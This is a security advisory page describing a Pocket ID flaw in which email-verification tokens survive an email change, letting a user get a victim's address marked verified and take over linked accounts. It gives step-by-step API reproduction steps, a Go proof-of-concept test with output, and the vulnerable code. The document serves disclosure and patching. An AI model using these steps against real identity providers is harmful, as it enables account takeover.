
Loading

Loading
We use strictly necessary cookies to run this site, and analytics cookies to understand how it's used. See our Privacy Policy for details.
A GitHub-reviewed security advisory, not necessarily under active exploitation the way our CISA KEV advisories are, but a real, disclosed vulnerability in an open-source dependency.
Affected packages
Vulnerable: < 0.0.0-20260727180059-43aaccd5bfac
Patched in 0.0.0-20260727180059-43aaccd5bfac
Details
An authenticated Pocket ID user can request an email-verification token while their account uses an address they control, change the account email address, and then redeem the previously issued token. The token is bound only to the user ID, not to the address to which it was sent, and changing the address does not revoke outstanding tokens.
As a result, Pocket ID marks the newly supplied address as verified even though the user never proved control of it. Pocket ID subsequently returns that address with email_verified: true in OIDC claims. A relying party that trusts this claim for email-based account linking or provisioning can therefore link the attacker's Pocket ID identity to a victim's existing account, leading to cross-application account takeover.
This was verified against commit 9f559788a44cfea790de360da0a74d4bdf8ca5d5.
emailsVerified=false, which is the default).allowOwnAccountEdit=true, which is the default).sub claim are not affected by that downstream consequence.No administrator privilege, victim interaction, or access to the victim's mailbox is required.
[email protected].POST /api/users/me/send-email-verification.[email protected], but do not redeem it yet.PUT /api/users/me and change the account email to an address the attacker does not control, for example [email protected].emailVerified: false.POST /api/users/me/verify-email with the token delivered to [email protected].GET /api/users/me. The current address is now [email protected] and emailVerified is true.email scope. Pocket ID emits:{
"email": "[email protected]",
"email_verified": true
}
The old token has therefore verified a different address from the one to which it was delivered.
Save this as backend/internal/service/audit_email_verification_test.go and run:
go test -tags=exclude_frontend,unit ./internal/service -run TestAuditEmailVerificationTokenSurvivesEmailChange -count=1 -v
The test passes on the referenced commit and demonstrates the unintended state transition:
package service
import (
"testing"
"time"
"github.com/stretchr/testify/require"
"github.com/pocket-id/pocket-id/backend/internal/appconfig"
"github.com/pocket-id/pocket-id/backend/internal/dto"
"github.com/pocket-id/pocket-id/backend/internal/model"
datatype "github.com/pocket-id/pocket-id/backend/internal/model/types"
)
func TestAuditEmailVerificationTokenSurvivesEmailChange(t *testing.T) {
userService, _ := newTestUserService(t)
config := &appconfig.AppConfigModel{
RequireUserEmail: "true",
AllowOwnAccountEdit: "true",
EmailsVerified: "false",
}
attackerEmail := "[email protected]"
user, err := userService.CreateUser(t.Context(), config, dto.UserCreateDto{
Username: "attacker",
Email: &attackerEmail,
EmailVerified: false,
})
require.NoError(t, err)
const tokenFromAttackerMailbox = "token-issued-for-attacker-email"
require.NoError(t, userService.db.Create(&model.EmailVerificationToken{
UserID: user.ID,
Token: tokenFromAttackerMailbox,
ExpiresAt: datatype.DateTime(time.Now().Add(time.Hour)),
}).Error)
victimEmail := "[email protected]"
_, err = userService.UpdateUser(t.Context(), config, user.ID, dto.UserCreateDto{
Username: user.Username,
Email: &victimEmail,
}, true, false)
require.NoError(t, err)
changed, err := userService.GetUser(t.Context(), user.ID)
require.NoError(t, err)
require.Equal(t, victimEmail, *changed.Email)
require.False(t, changed.EmailVerified)
require.NoError(t, userService.VerifyEmail(
t.Context(),
user.ID,
tokenFromAttackerMailbox,
))
verified, err := userService.GetUser(t.Context(), user.ID)
require.NoError(t, err)
require.Equal(t, victimEmail, *verified.Email)
require.True(t, verified.EmailVerified)
}
Observed result:
=== RUN TestAuditEmailVerificationTokenSurvivesEmailChange
--- PASS: TestAuditEmailVerificationTokenSurvivesEmailChange
PASS
backend/internal/model/email_verification_token.go stores only a token, expiration, and user ID. It does not store or cryptographically bind the address being verified.
UserService.SendEmailVerification creates the token for user.ID and sends it to the current user.Email, but that email is not part of the token record:
emailVerificationToken := &model.EmailVerificationToken{
UserID: user.ID,
Token: randomToken,
ExpiresAt: datatype.DateTime(expiration),
}
UserService.UpdateUser resets the verification flag when the address changes but leaves existing verification tokens valid.
UserService.VerifyEmail validates only the token, user ID, and expiry, then sets EmailVerified on the user's current record:
err := tx.WithContext(ctx).Where(
"token = ? AND user_id = ? AND expires_at > ?",
token,
userID,
datatype.DateTime(time.Now()),
).First(&emailVerificationToken).Error
user, err := s.getUserInternal(ctx, emailVerificationToken.UserID, tx)
// ...
user.EmailVerified = true
Finally, backend/internal/oidc/claims_service.go publishes the current address and flag together:
claims["email"] = *user.Email
claims["email_verified"] = user.EmailVerified
The direct impact is an authentication-integrity failure in an identity provider: any ordinary user can cause Pocket ID to attest control of an arbitrary unused email address.
The security boundary crossed by that false attestation is the relying application. Where a relying party treats email_verified=true as proof of address ownership and uses email for automatic account matching, the attacker can be signed into or linked to the victim's existing relying-party account. This can expose all data and actions available through that account.
Source review and test construction were AI-assisted. The finding, affected control flow, preconditions, and executable proof of concept were validated against the referenced Pocket ID commit before submission.
EPSS, exploit probability
Low0.17%
estimated chance of real-world exploitation in the next 30 days, higher than 5.9% of every CVE FIRST.org scores
Refreshed 11/10/2026, via FIRST.org's EPSS model, not CVSS, this measures likelihood of exploitation, not how severe it would be.
Talk to us about this
Find out whether this dependency (or others like it) is actually reachable in your codebase.
Get help patching, or building dependency-scanning into your pipeline going forward.
A secure code review or supply chain review finds this before an advisory does.